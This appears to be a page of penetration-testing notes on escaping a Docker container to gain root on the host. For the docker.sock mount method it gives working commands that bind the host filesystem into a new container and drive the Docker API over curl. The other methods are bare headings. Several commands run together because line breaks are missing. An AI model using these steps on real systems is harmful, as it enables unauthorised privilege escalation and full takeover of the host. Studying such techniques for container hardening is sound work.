Gaining root access to a DOCKER Host
1. Via /var/run/docker.sock mount
docker run -it -v /var/run/docker.sock:/container/mypath/docker.sock ubuntuapt-get update
apt-get install -y docker.iodocker -H unix://container/mypath/docker.sock psdocker -H unix://container/mypath/docker.sock run -it -v /:/mnt/host ubuntu bash
cat /mnt/host/etc/hostname
exitapt-get update
apt-get install -y curl jq
curl --unix-socket /container/mypath/docker.sock http://localhost/v1.41/version
ID=$(curl -XPOST --unix-socket /container/mypath/docker.sock -d '{"Image":"docker.io/library/nginx:latest"}' -H 'Content-Type: application/json' http://localhost/v1.41/containers/create | jq -r .Id)
curl -XPOST --unix-socket /container/mypath/docker.sock -H 'Content-Type: application/json' http://localhost/v1.41/containers/$ID/start
curl -XGET --unix-socket /container/mypath/docker.sock -H 'Content-Type: application/json' http://localhost/v1.41/containers/json2. Intercepting /var/run/docker.sock
3. Via mounting "dangerous" locations
4. Via --priviledged (1)
5. Via --pid
Last updated